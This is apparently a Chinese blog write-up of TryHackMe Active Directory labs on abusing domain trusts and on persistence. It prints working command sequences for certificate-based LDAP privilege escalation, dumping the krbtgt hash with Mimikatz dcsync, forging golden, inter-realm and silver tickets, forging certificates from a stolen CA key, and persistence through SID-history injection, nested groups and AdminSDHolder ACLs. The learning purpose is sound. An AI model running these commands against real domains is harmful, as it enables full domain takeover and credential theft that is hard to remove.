表明,域控制器不支持你使用的证书类型进行 PKINIT 认证。这可能是因为域控没有正确配置,或者你的工具和域控的协议版本不兼容。我们转成 LDAP 认证,LDAP 认证也支持使用证书,它将证书作为身份凭证来修改目录服务。
做到这一块其实我卡了一个小时作用,这个方法是从 Discord 频道里面找到的,看来 AD 这块我的认知还是太少了。
使用 LDAP 进行认证
从这里下载 PassTheCert PowerShell 脚本。我没有加载这个 TGT,而是把我的用户加进 DOMAIN ADMINS 组,这个组对域内的所有机器都有权限,也包括 THMDC 这台机器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 用点源载入脚本
. ./Invoke-PassTheCert.ps1
# 利用证书的权限执行 whoami
Invoke-PassTheCert -Server "thmdc.za.tryhackme.loc" -Certificate "c:/tools/ABC.pfx" -CertificatePassword "1" -Whoami
# 把自己的用户加进 DOMAIN ADMINS 组
Invoke-PassTheCert -Server "thmdc.za.tryhackme.loc" -Certificate "c:/tools/ABC.pfx" -CertificatePassword "1" -AddToGroup "CN=BARBARA.REID,OU=SALES,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -GroupDN "CN=DOMAIN ADMINS,CN=USERS,DC=ZA,DC=TRYHACKME,DC=LOC"
# SSH 连进去
ssh barbara.reid@thmdc.za.tryhackme.loc
# 拿 Flag
type C:\Users\Administrator\Desktop\flag5.txt
参考资料
https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html
https://www.thehacker.recipes/ad/movement/schannel/passthecert
Exploiting Domain Trusts
域信任是一种机制,允许网络中的用户访问本域之外的资源。它定义了林内部不同域之间的通信方式,在某些特殊情况下,信任也可以扩展到外部域或整个林。
域之间主要有两种信任类型:
- 方向性:信任的方向是从**信任域(Trusting Domain)**流向**受信域(Trusted Domain)**。
- 传递性:信任关系不限于两个域之间,而是可以传递到其他被信任的域。
在一个林中,通常会有一个根域或父域,比如我们的 TRYHACKME.LOC。为了方便管理,会为各个地区办事处创建子域,如 ZA.TRYHACKME.LOC 和 UK.TRYHACKME.LOC。
这种林配置使得 ZA 和 UK 办事处可以共享资源。举个例子,如果 UK 办事处的一个用户需要访问 THMSERVER1,我们可以授权该用户访问 ZA 域内的资源。这之所以可行,是因为 ZA 和根域、UK 和根域之间都存在双向信任,从而在 ZA 和 UK 之间建立了可传递的信任关系。
父域和子域之间的双向信任是 Active Directory 的预期行为,它的目的是通过可传递的信任关系来简化资源共享。
然而,作为攻击者,我们也可以利用这个信任关系。如果我们成功攻陷了子域,就可以滥用子域对父域的信任,进一步入侵父域。
KRBTGT and Golden Tickets
KRBTGT 是微软实现 Kerberos 认证协议的核心账户。它的名字来自 Kerberos(KRB)和票据授权票据(TGT)。
这个账户本质上就是 Kerberos 分发中心(KDC)服务的“身份”,而 KDC 负责处理所有的 Kerberos 票据请求。KRBTGT 账户的密码哈希被用来加密和签名域内的所有 Kerberos 票据。由于所有域控制器都共享这个哈希,当用户请求访问资源时,域控制器就能用它来验证收到的 TGT 是否真实有效。
黄金票据
那么,如果我们想要自己生成 TGT,从而获得对所有资源的访问权限,该怎么办呢?这就是著名的黄金票据攻击(Golden Ticket attack)。
在黄金票据攻击中,我们完全绕过 KDC,自己创建 TGT,摇身一变成为一个临时的票据授权服务器(TGS)。
要伪造 TGT,我们需要收集以下四样关键信息:
- 域的 FQDN(完全限定域名)
- 域的安全标识符(SID)
- 我们想要冒充的用户名
- KRBTGT 账户的密码哈希
前三项通常比较容易获取。但最后一项 KRBTGT 的密码哈希,只存储在域控制器上,因此需要我们先攻陷域才能拿到。
dcysnc 攻击
dcsync
是一种常见的攻击技术,它利用了 Active Directory(AD)域控制器之间用于同步数据的复制协议。攻击者通过冒充一台域控制器,向另一台域控制器请求复制指定用户的凭据,从而窃取密码哈希。
正常情况下,当一个域控制器上的用户账户发生变化时(比如修改了密码),它会通过一个称为 Directory Replication Service (DRS) Remote Protocol 的协议,通知其他域控制器进行数据同步。
dcsync
攻击正是滥用了这个正常且必要的功能。攻击者在拥有特定高权限账户(通常是域管理员)后,会执行 dcsync
命令,伪装成一个合法的域控制器,并向目标域控制器发送一个数据复制请求。目标域控制器会误以为这是一次正常的同步,并将请求用户的密码哈希发送给攻击者的机器。
接下来,我们将再次使用 Mimikatz,通过 dcsync
攻击在 THMSERVER2 上拿到 KRBTGT 的密码 hash。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 让我的用户有 DSSync 权限
Invoke-PassTheCert -Server "thmdc.za.tryhackme.loc" -Certificate "c:/tools/ABC.pfx" -CertificatePassword "1" -Elevate "CN=BARBARA.REID,OU=SALES,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC"
# 执行 mimikatz
mimikatz_trunk\x64\mimikatz.exe
privilege::debug
# 模拟一台域控制器,请求域内的另一台域控制器将 krbtgt 用户的凭据信息复制给我
lsadump::dcsync /user:za\krbtgt
Credentials:
Hash NTLM: 16f9af38fca3ada405386b3b57366082
ntlm- 0: 16f9af38fca3ada405386b3b57366082
lm - 0: 35c7b671efe40860dc078afd2786c902
# RDP 连上 THMDC
xfreerdp3 /v:thmdc.za.tryhackme.loc /d:za.tryhackme.loc /u:barbara.reid /p:Password1 /timeout:60000
Inter-Realm TGTs
我们现在拥有了 KRBTGT 账户的密码哈希,这使我们可以在子域中伪造黄金票据来访问任何资源。更进一步,我们可以伪造一种叫做跨域 TGT(Inter-Realm TGT)的票据。这种票据专门用于访问其他域的资源。
我们的目标是利用子域和父域之间的双向信任关系,来获取对父域的完全访问权限。
在伪造黄金票据时,我们将在票据中加入来自其他域的额外账户 SID,以此来执行攻击。Mimikatz
工具可以帮助我们实现这一点,它允许我们在 Kerberos TGT 的 KERB_VALIDATION_INFO
结构中设置 ExtraSids
部分。ExtraSids
被描述为“一个指向 KERB_SID_AND_ATTRIBUTES
结构的指针列表,其中包含的 SID 对应于主体所属账户域之外的其他域中的组”。
这里的关键是,我们将利用父域对我们子域的信任。具体做法是,在为子域的域控制器伪造票据时,我们将 父域中的“Enterprise Admins (EA)”组的 SID 作为额外 SID 添加到票据中。EA 组属于父域,其成员资格实际上赋予了对整个林的管理员权限!这个组的默认 SID 是 S-1-5-21-<RootDomain>-519
。
在进行攻击之前,我们首先需要获取两个 SID:
- 子域域控制器(THMDC)的 SID,这是我们将在伪造的 TGT 中冒充的对象。
- 父域中 Enterprise Admins 组的 SID,这是我们将作为额外 SID 添加到伪造 TGT 中的 SID。
为了获取这两个 SID,我们可以使用 AD-RSAT
PowerShell 命令。我们可以使用以下命令来获取子域域控制器的 SID:
1
2
3
4
5
6
# 找到子域控的 SID
Get-ADComputer -Identity "THMDC"
# S-1-5-21-3885271727-2693558621-2658995185-1001
# 找到父域 Enterprise Admins 组的 SID
Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc
# S-1-5-21-3330634377-1326264276-632209373-519
滥用域信任
1
2
3
4
5
6
7
8
9
mimikatz_trunk\x64\mimikatz.exe
privilege::debug
# 伪造 Inter-Realm 金票
# 这里的 sids 就是上面父域中找到的那个组的 SID
kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt
# 拿 Flag
type \\thmrootdc.tryhackme.loc\c$\Users\Administrator\Desktop\flag6.txt
总结
我个人觉得还是因为 AD 的复杂性导致这么多的权限问题,小权限用户可以加组,然后那个组可以改管理员的密码?这个在一开始不应该警告用户吗?
再到 Kerberos 委派可以不经过用户同意去以他的身份申请证书(WTF??)。然后就是利用打印机服务可以远程让一个机器去请求另外一个机器(SSRF?),最难崩的还是通信过程不强制加密,直接给拦咯。
后面那个密码记录和 GPO 修改就感觉挺正常的,不算设计上的问题。到后面那个证书就纯纯的是用户的锅了,感觉又不全是,微软得背一半。按理说这种可以伪造 SAN 的证书就应该保留一个原始的名字,而且对于这种敏感权限的调用,这种证书就应该默认拒绝。
金票更是难绷,整个认证就靠一个 Hash??当时听别人说金票银票挺高级的,结果就这?dcsync 一个同步能把用户的 Hash 同步过来,就不知道说什么了。跨域信任就挺正常,算是正常利用吧。
总之这个房间让我学到了超级多 AD 的问题和利用点,感觉 AD 这种安全性是 M$ 的人一拍脑子想下来到的东西,可能也和屎山有关系,最主要的我还是觉得是那个 Hash 问题很大很大。
在管理方来看,这种设计问题就挺难避免的,在增加类似权限的时候,我觉得可以增加一些检查机制,来揭示出这种攻击路径,或许已经有类似安全工具可以检查了。
拓展阅读
- Silver Ticket Attack
- Golden Ticket Attack
- Kerberoasting Attack
- NTDS.dit Password Extraction
- DCSync Attack Using Mimikatz Detection
Persisting Active Directory
irene.leach
Password1
Persistence through Credentials
这一节讲了利用 dcsync 把密码的 hash 全部 dump 出来,然后离线爆破
域同步(DC Sync)
大型组织中,为了保证认证服务的响应速度,一个域通常会部署多个域控制器(DC)。为了让所有 DC 的数据保持一致,它们会通过域复制(Domain Replication)机制来同步信息。
每个 DC 都会运行一个名为 KCC 的进程,它会建立一个复制拓扑,并通过 RPC 与其他 DC 同步用户密码、新账户等信息。这就是为什么更改密码后,有时需要等待几分钟才能在新地点登录,因为你登录的 DC 可能还没来得及同步最新的密码。
这个同步过程也称为 DC 同步(DC Synchronisation)。除了 DC 自己,拥有域管理员权限的账户也可以为了合法目的发起这个同步。
如果攻击者获取了拥有域复制权限的账户,就可以执行 DC Sync
攻击,冒充 DC 来从另一个 DC 窃取凭据。
凭据并非都一样
在 DC Sync
攻击中,选择要窃取的凭据非常关键。虽然域管理员凭据权限最高,但蓝队一旦发现入侵,会最先重置这类账户的密码,导致你可能很快失去访问权限。
所以,更聪明的做法是获取接近高权限但又不易被察觉的凭据,以此实现持久化访问。这些凭据类型包括:
- 多台机器的本地管理员账户:通常有专门的组拥有对大量计算机的本地管理员权限。窃取这些账户的凭据,可以让你保持对大部分机器的访问。
- 拥有委派权限的服务账户:利用这类账户可以发动 Kerberos 委派攻击,例如黄金票据和白银票据。
- 特权 AD 服务账户:例如 Exchange、WSUS 或 SCCM 的账户。攻陷这些账户可以作为跳板,再次获得高权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
# 试验同步一个账户
lsadump::dcsync /domain:za.tryhackme.loc /user:irene.leach
# 启用记录功能
log recopec_dcdump.txt
# 通过同步提取所有用户的信息
lsadump::dcsync /domain:za.tryhackme.loc /all
# 筛选文件
cat <username>_dcdump.txt | grep "SAM Username"
cat recopec_dcdump.txt | grep "Hash NTLM"
Persistence through Tickets
Kerberos 认证基础
Kerberos 认证的核心在于 TGT(票据授权票据)和 TGS(票据授权服务)。
- TGT 请求:用户向域控制器(DC)发送一个包含用其 NTLM 哈希加密的时间戳的
AS-REQ
请求,以此来获取 TGT。DC 验证后,颁发一个用 KRBTGT 账户密码哈希签名的 TGT。 - TGS 请求:用户将 TGT 发送给 DC,请求访问特定资源的 TGS。如果 TGT 有效,DC 会颁发一个用该服务账户的 NTLM 哈希加密的 TGS。
- 访问资源:用户将 TGS 提交给目标服务,服务验证后授予访问权限。
黄金票据(Golden Tickets)
黄金票据是伪造的 TGT。通过这种攻击,我们完全绕过了向 DC 证明身份的步骤。有了伪造的、拥有高权限账户的 TGT,我们就可以请求访问任何我们想要的服务。
必要信息:要伪造黄金票据,攻击者需要四样东西:
- KRBTGT 账户的密码哈希
- 域的完全限定域名 (FQDN)
- 域的安全标识符 (SID)
- 要冒充的用户的 ID
攻击要点:
- 核心需求:为了伪造黄金票据,我们必须拥有 KRBTGT 账户的密码哈希,因为它是所有 TGT 的签名者。
- 绕过认证:我们不需要知道被冒充用户的密码哈希。只要票据由 KRBTGT 哈希签名,DC 就会无条件信任它。
- 持久化:
- 票据中的用户账户即使被禁用或删除,只要票据生成时间在 20 分钟内,依然有效。
- 我们可以修改票据的有效期,比如从 10 小时延长到 10 年,以此获得持久化访问。
- KRBTGT 账户的密码默认不更改,一旦获取,除非手动重置两次(重置掉当前密码和历史密码,为了保持服务可用性),否则我们可以永久使用。
- 轮换 KRBTGT 账户的密码对蓝队来说是一个痛苦的过程,有些服务不会自己拉取新的 TGT,导致宕机。
- 隐蔽性:黄金票据可以在任何机器上生成,甚至是未加入域的机器,这使得攻击更难被发现。
- 高权限:黄金票据甚至可以绕过智能卡认证,并且提供对域内所有资源的完全控制。
白银票据(Silver Tickets)
白银票据是伪造的 TGS。与黄金票据不同,我们跳过了与 KDC 的所有通信,直接与我们想要访问的服务进行交互。
要伪造一张白银票据,你需要以下四样关键信息:
- 目标服务账户的 NTLM 哈希:这是最核心的,因为这个哈希是用来加密和签名票据的“密钥”。通常,这个哈希是目标服务器的机器账户哈希(例如
THMSERVER1$
)。 - **域的安全标识符 (SID)**:用于标识票据所属的域。
- 要冒充的用户的 ID:票据中会包含你想要伪装的用户名,比如
Administrator
。 - **目标服务帐户的 SPN (Service Principal Name)**:这是服务的唯一标识,格式为
<服务类型>/<主机名>
,比如cifs/thmserv1.za.tryhackme.loc
。
攻击要点:
- 核心需求:为了伪造白银票据,我们需要目标服务器机器账户的密码哈希。
- 范围有限:白银票据的权限范围仅限于特定服务器上的特定服务。相比黄金票据的完全控制,它的权限范围要小得多。
- 极高隐蔽性:由于攻击绕过了 DC,没有 TGT 的生成记录,所以唯一的日志只存在于被攻击的服务器上,使得蓝队很难察觉。
- 持久化:我们可以利用白银票据修改注册表,来阻止机器账户密码自动重置(通常每 30 天重置一次),从而保持对该主机的持久化访问。
- 机器账户:机器账户可以被视为普通的 AD 账户,因此即使只获取了它的权限,也足以继续进行信息收集和攻击。
关于 Svc Session Key,这个也要参考这张图。
在正常的 Keberos 认证中,Svc Session Key 是 KDC 生成并且返回给我们的,然后 TGS 里面会有一份 Svc Session Key,如果我们没有拿到白银票据(服务账户的 Hash),我们就没法对 TGS 下手,所以这个攻击链就没法完成。正因为有了服务账户的 Hash,所以我们可以捏造 Svc Session Key 了,在原始的过程中,这个 Key 是用来保证请求不被篡改的,一旦有了 Hash,这个安全性就不存在了。
伪造票据实践
1
2
# 获取域信息,关注 SID 和 FQDN
Get-ADDomain
- DomainSID: S-1-5-21-3885271727-2693558621-2658995185
- DNSRoot: za.tryhackme.loc
- krbtgt: 16f9af38fca3ada405386b3b57366082
1
2
3
# 使用 mimikatz 生成金票
# /ptt 代表让 mimikatz 直接加载凭据到现在这个 session 里
kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /krbtgt:16f9af38fca3ada405386b3b57366082 /endin:600 /renewmax:10080 /ptt
/endin: 票据的绝对有效期(Ticket Lifetime)
- 含义: 这是票据的绝对截止日期。一旦过了这个时间,票据就彻底失效,无法再续订。
- 用途: 它定义了票据最长能使用多久。在默认的 AD 策略中,这个时间通常是 10 小时。
- 示例: 你可以把
/endin
理解为一张电影票的“有效截止日期”。过了这个日期,电影票就作废了。
/renewmax: 票据最长可续订时间(Maximum Renew Lifetime)
- 含义: 这是票据可以被续订的最长时间。只要在
/endin
之前,你可以向 KDC(Key Distribution Center)请求续订,以延长票据的有效时间。但这个续订过程不能超过/renewmax
的限制。 - 用途: 它允许用户在一段时间内保持访问,而无需频繁地重新认证。默认的 AD 策略通常是 7 天。
- 示例: 你可以把
/renewmax
理解为一张图书馆借书证的“最长借书期限”。你每次借书的期限可能只有两周(/endin
),但只要不超过总的“最长借书期限”(/renewmax
),你就可以反复续借。
虽然黄金票据提供了强大的持久化访问能力,但蓝队可以通过重置 KRBTGT 账户密码两次来对抗它。因此,如果想真正实现持久化,更应该使用白银票据。
1
2
# 生成银票
kerberos::golden /admin:StillNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:S-1-5-21-3885271727-2693558621-2658995185 /target:THMSERVER1.za.tryhackme.loc /rc4:4c02d970f7b3da7f8ab6fa4dc77438f4 /service:cifs /ptt
- /target - The hostname of our target server. Let’s do THMSERVER1.za.tryhackme.loc, but it can be any domain-joined host.
- /rc4 - The NTLM hash of the machine account of our target. Look through your DC Sync results for the NTLM hash of THMSERVER1$. The $ indicates that it is a machine account.
- /service - The service we are requesting in our TGS. CIFS is a safe bet, since it allows file access.
要注意的是,服务账户的密码是会轮换的,一旦轮换了,这个 TGS 就失效了,所以一般还要对注册表下手,以实现持久化。
Persistence through Certificates
虽然依赖凭据的持久化技术很有效,但蓝队最终可以通过轮换凭据来清除攻击者的访问权限。因此,我们需要寻找不依赖于凭据的、更高级的持久化技术,而证书就是其中之一。
证书不仅是用于权限提升的工具,更是一种强大且难以清除的持久化手段。通过获取一张有效的客户端认证证书,攻击者可以绕过密码重置,长期维持对目标账户的访问。这种持久化方式的有效性通常长达数年,除非蓝队主动吊销或等待证书过期。更深一层的攻击是直接攻陷证书颁发机构(CA)本身,窃取其根证书的私钥。这样一来,攻击者就能随意伪造证书,并且这些证书因为没有正式颁发记录,蓝队甚至无法通过吊销来清除,唯一的防御手段是轮换整个 CA,这会对整个组织造成灾难性的业务影响,让蓝队在付出巨大努力清理完其他所有入侵痕迹后,仍然无法摆脱攻击者的控制。
提取私钥
可以用 Mimikatz 和 SharpDPAPI 提取证书的私钥
1
2
3
4
5
# 启动 mimikatz
C:\Tools\mimikatz_trunk\x64\mimikatz.exe
# 查看存储的证书
crypto::certificates /systemstore:local_machine
可以看到有一些证书的 Exportable key : NO,所以没法直接导出,但是我们可以通过修改内存的方式让他们可以导出
1
2
3
4
5
6
7
privilege::debug
crypto::capi
crypto::cng
# 导出证书
crypto::certificates /systemstore:local_machine /export
导出的证书会同时用 PFX 和 DER 格式存储在目录下,mimikatz 默认会用 mimikatz
密码加密证书。
生成和使用证书
现在我们有了私钥和根证书,我们能用 ForgeCert 工具去伪造我们想要的用户认证证书。
1
C:\Tools\ForgeCert\ForgeCert.exe --CaCertPath local_machine_My_1_za-THMDC-CA.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@za.tryhackme.loc --NewCertPath fullAdmin.pfx --NewCertPassword Password123
要关注的参数是 SubjectAltName,即 SAN。还记得上个 Room 那个证书模板允许使用替代名字吗,就是这个玩意。
然后我们就可以用这个证书去请求 TGT:
1
2
3
4
5
# Rubeus 生成 TGT
C:\Tools\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:fullAdmin.pfx /password:Password123 /outfile:tgt.tgt /domain:za.tryhackme.loc /dc:thmdc.za.tryhackme.loc
# mimikatz 载入 TGT
kerberos::ptt tgt.tgt
这里依旧提示 [X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP
,可以用 LDAP 认证去绕过,上个房间有步骤,就不再叙述了。
我们不再是蓝队的朋友
证书持久化是极难防御的。即使你轮换了被入侵账户的凭据,证书仍然是有效的。移除这种持久化的唯一方法是吊销证书。然而,这只在我们通过合法渠道生成证书的情况下才有可能。由于我们是导出 CA 后自己生成了证书,它不会出现在 AD CS 的已颁发证书列表中,这意味着蓝队将无法吊销我们的证书。
那么,移除这种持久化的唯一解决方案是什么?这就是我们不再是朋友的原因了。他们将不得不吊销根 CA 证书。但吊销这个证书意味着所有由 AD CS 颁发的证书将全部失效。换言之,他们必须为每个使用 AD CS 的系统重新生成证书。你应该开始明白为什么这种类型的持久化是极其危险的,如果真的发生,可能需要对系统进行全面重建。
拓展阅读
Persistence through SID History
这个 SID 就和之前那个改两次 krbtgt 密码有异曲同工之妙,SID(Security Identifier)是用来唯一标识用户和组账户的。当一个组织进行 Active Directory 迁移时,用户在新域中会得到一个新的 SID。为了让他们能够继续访问旧域的资源,管理员可以将旧的 SID 添加到他们在新账户的 SID 历史属性中。
这个过程本质上是赋予一个新账户旧账户的所有权限。而攻击者可以滥用这个功能,将一个高权限账户的 SID(例如域管理员的 SID)添加到自己低权限账户的 SID 历史中。这样,攻击者就能以自己的账户身份,获得高权限账户的所有访问权限,从而实现持久化。这种技术非常隐蔽,因为账户本身的权限看起来没有变化,但它实际上拥有了管理员的权限。
SID History 能让我们为所欲为
实际上,SID 历史的功能并不仅限于包含来自其他域的 SID。只要有足够的权限,我们甚至可以将当前域的 SID 添加到我们控制的账户的 SID 历史中。关于这种持久化技术,有以下几个要点:
- 通常,我们需要域管理员或同等的权限才能执行此攻击。
- 当账户创建登录事件时,与之关联的 SID 会被添加到用户的令牌中,进而决定该账户的权限。这其中包括了组的 SID。
- 如果我们将企业管理员(Enterprise Admin)的 SID 注入到 SID 历史中,就可以将账户权限提升到等同于整个林中所有域的域管理员。
- 由于 SID 是直接添加到用户令牌中的,即使该账户并未实际加入到任何特定组中,其权限也会被认可。这使得它成为一种非常隐蔽的持久化方法。我们的账户可以只是一名普通用户,只属于
Domain Users
组,却拥有足以攻陷整个域(甚至整个林)的权限。我们甚至可以更进一步,利用这个账户去修改其他账户的 SID 历史,从而让初始的持久化入口更难被发现和修复。
伪造历史
1
2
3
4
5
6
7
# 检查我们的用户目前 SID history 没有任何数据
Get-ADUser irene.leach -properties sidhistory,memberof
# SIDHistory : {}
# 查看 Domain Admins 组的 SID
Get-ADGroup "Domain Admins"
# SID : S-1-5-21-3885271727-2693558621-2658995185-512
我们可以使用类似 Mimikatz 的工具来添加 SID 历史记录。但是,最新版本的 Mimikatz 有一个缺陷,无法通过修补 LSASS 来更新 SID 历史记录。在这种情况下,我们将使用 DSInternals 工具直接修补 ntds.dit 文件,即存储所有信息的 AD 数据库:
1
2
3
4
5
6
# NTDS 数据库在运行的时候是被锁定的
Stop-Service -Name ntds -force
# 修补数据库
Add-ADDBSidHistory -SamAccountName 'irene.leach' -SidHistory 'S-1-5-21-3885271727-2693558621-2658995185-512' -DatabasePath C:\Windows\NTDS\ntds.dit
# 启动 NTDS 服务
Start-Service -Name ntds
现在应该就有权限了,用我们那个用户登录检查一下
1
2
3
4
5
6
# 查看当前的 sidhistory
Get-ADUser irene.leach -Properties sidhistory
# SIDHistory : {S-1-5-21-3885271727-2693558621-2658995185-512}
# 检查一下是否真的有权限执行
dir \\thmdc.za.tryhackme.loc\c$
蓝队的怒火与无力
如果你使用 RDP 登录到其中一台主机并使用“AD 用户和组”管理工具,你能够看到被添加到你用户账户上的 SID 历史属性。然而,即使拥有最高权限,你也无法通过这个图形界面移除该属性,因为它受到了保护。要移除它,你必须使用像 AD-RSAT PowerShell 命令这样的工具。
然而,在你考虑如何移除恶意的 SID 历史属性之前,你首先要能找到它。常规的工具不会告诉你哪里出了问题。那个用户并不会突然显示为“域管理员”组的成员。因此,除非你主动地逐一检查所有用户的属性,否则这会非常难被发现。这是因为 SID 历史只在用户认证时才会被应用和使用。
想象一下你就是蓝队成员,正在处理一起入侵事件。你刚刚完成了一次域清理,为此两次重置了 krbtgt 账户的密码,清除了黄金和白银票据,甚至从头重建了整个 CA 服务器。但就在这时,你却发现攻击者仍然在用一个低权限账户执行域管理员的命令。这绝对会是糟糕透顶的一天。
Persistence through Group Membership
蓝队会重点监控那些最高权限的“受保护组”,比如 Domain Admins
。直接将自己的账户加入这些组,虽然能立刻获得最高权限,但被发现的风险也最大。
选择次要但关键的组:更隐蔽的策略是选择那些看似普通但实际上拥有强大权限的组,比如:
- IT 支持组:可以重置低权限用户的密码。这听起来权限不高,但可以作为“跳板”,通过窃取其他用户的凭据来逐步提升权限。
- 本地管理员组:获得对多台机器的本地管理员权限,意味着可以控制这些机器。一旦控制足够多的机器,就有机会横向移动并最终攻陷整个域。
- 拥有 GPO 所有权的组:GPO 能够影响整个域的策略,控制它就相当于控制了域内的安全配置。这种权限虽然不是直接的“管理员”,但其潜在危害同样巨大。
简而言之,持久化的最高境界不是拥有最高权限,而是以最低的被发现风险,获得足以重新发起攻击的关键权限。
嵌套组
嵌套组(Nested Groups)是一种利用 Active Directory 复杂权限结构的攻击手法。直接将账户加入高权限的父组(如“域管理员”)非常显眼,容易被安全团队发现。因此,攻击者可以转而将自己的账户加入到该父组的子组中。通过这种方式,攻击者可以继承父组的所有权限,但账户本身看起来只是一个普通子组成员,从而降低了被监控系统发现的风险,实现了隐蔽的持久化访问。这种攻击利用了 AD 中权限可见性差、监控不完善的弱点,是一种比直接加组更隐蔽和高级的持久化技术。
就是套娃,直接加一个组很明显,但是我们可以加这个组下面的组,同样拥有这个组的权限。
套娃
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 在 People->IT OU 下创建一个组
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "irene.leach Net Group 1" -SamAccountName "irene.leach_nestgroup1" -DisplayName "irene.leach Nest Group 1" -GroupScope Global -GroupCategory Security
# 在 People->Sales OU 下创建一个组
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "irene.leach Net Group 2" -SamAccountName "irene.leach_nestgroup2" -DisplayName "irene.leach Nest Group 2" -GroupScope Global -GroupCategory Security
# 把我们创建的第一个组加到第二个组下面的成员里面
Add-ADGroupMember -Identity "irene.leach_nestgroup2" -Members "irene.leach_nestgroup1"
# 可以重复很多次
New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "irene.leach Net Group 3" -SamAccountName "irene.leach_nestgroup3" -DisplayName "irene.leach Nest Group 3" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "irene.leach_nestgroup3" -Members "irene.leach_nestgroup2"
New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "irene.leach Net Group 4" -SamAccountName "irene.leach_nestgroup4" -DisplayName "irene.leach Nest Group 4" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "irene.leach_nestgroup4" -Members "irene.leach_nestgroup3"
New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "irene.leach Net Group 5" -SamAccountName "irene.leach_nestgroup5" -DisplayName "irene.leach Nest Group 5" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "irene.leach_nestgroup5" -Members "irene.leach_nestgroup4"
# 把创建的第五个组加入 Domain Admins 组里
Add-ADGroupMember -Identity "Domain Admins" -Members "irene.leach_nestgroup5"
# 把我们的低权限用户加到创建的第一个组里
Add-ADGroupMember -Identity "irene.leach_nestgroup1" -Members "irene.leach"
# 查看组成员
Get-ADGroupMember -Identity "Domain Admins"
现实中一般是用现有的组来进行嵌套。
Persistence through ACLs
这一节则是利用 AD 组的模板的定时同步特性去持久化。
有时候,我们需要的不仅仅是针对普通 AD 组的持久化。如果我们想同时对所有受保护的组进行持久化,该怎么办?
通过 AD 组模板进行持久化
虽然我们可以将我们控制的账户直接添加到所有能找到的特权组中,但蓝队仍然可以进行清理并移除我们的成员资格。为了获得更好的持久化效果,并让蓝队百思不得其解,我们应该转而注入到生成默认组的模板中。通过注入这些模板,即使他们移除了我们的成员资格,我们只需等待模板刷新,就能再次获得成员资格。
其中一个模板就是 AdminSDHolder 容器。这个容器存在于每个 AD 域中,它的访问控制列表(ACL)被用作一个模板,来复制权限到所有受保护的组。受保护的组包括“域管理员(Domain Admins)”、“管理员(Administrators)”、“企业管理员(Enterprise Admins)”和“架构管理员(Schema Admins)”等特权组。完整的组列表可以在这里找到。
一个名为 SDProp 的进程会每隔 60 分钟,将 AdminSDHolder 容器的 ACL 应用到所有受保护的组。因此,我们可以写入一个 ACE(访问控制条目),授予我们在所有受保护组上的完全权限。如果蓝队没有意识到这种类型的持久化正在被使用,他们会感到非常沮丧。因为每次他们移除受保护对象或组上不适当的权限时,这些权限都会在一小时内重新出现。由于这种重建是通过正常的 AD 进程发生的,它也不会向蓝队发出任何警报,使得他们很难查明持久化的来源。
使用 AdminSDHolder 持久化
为了将持久性部署到 AdminSDHolder,我们将使用 Microsoft 管理控制台(MMC)。为避免将用户从 RDP 会话中踢出,最好使用低权限凭据 RDP 进入 THMWRK1,使用 runas 命令注入管理员凭据,然后从这个新终端执行 MMC:
1
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exe
add the Users and Groups Snap-in (File->Add Snap-In->Active Directory Users and Computers). Make sure to enable Advanced Features (View->Advanced Features 要选中那个域名才会出现).
找到 AdminSDHolder 组

右键 -> 属性 -> 安全,把我们的低权限账户加进去,然后授予完全控制权限。

SDProp
现在我们只需等待 60 分钟,用户就可以完全控制所有受保护组了。这是因为安全描述符传播器(SDProp)服务每 60 分钟自动执行一次,并将此更改传播到所有受保护组。在 C:\Tools\ 目录中(我没找到,手动传的),提供了一个脚本 Invoke-ADSDPropagation,他可以让这个行为立即执行。
1
2
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagation

执行之后马上就能看到这个用户被加上权限了,可以自己试验把他删了,然后手动执行一下脚本他又回来了。不过我们用户不会在这个组里面,只是有这个组的编辑权限,还要手动加进去。
对蓝队来说简直是雪上加霜
想象一下,把这种技术和之前讨论过的“嵌套组”结合起来。当蓝队刚通过无数次修改组权限来清除你的访问时,60 分钟后,你又可以重新来过。除非蓝队知道权限正在通过 AdminSDHolder 组被更改,否则他们会每隔一小时就感到困惑不解。由于这种持久化是通过一个合法的 AD 服务传播的,他们很可能每次都无法察觉。如果你真的想实现长久持久化,你可以在 AdminSDHolder 组中授予 Domain Users 组完全控制权限,这意味着任何低权限用户都将获得对所有受保护组的完全控制。再结合一次完整的 DC Sync
攻击,蓝队将不得不重置域中每个账户的凭据,才能将我们彻底清除。
Persistence through GPOs
这一节则是用组策略对象 GPO 去内置一些启动脚本达成持久化。
域范围持久化
以下是一些常见的 GPO 持久化技术:
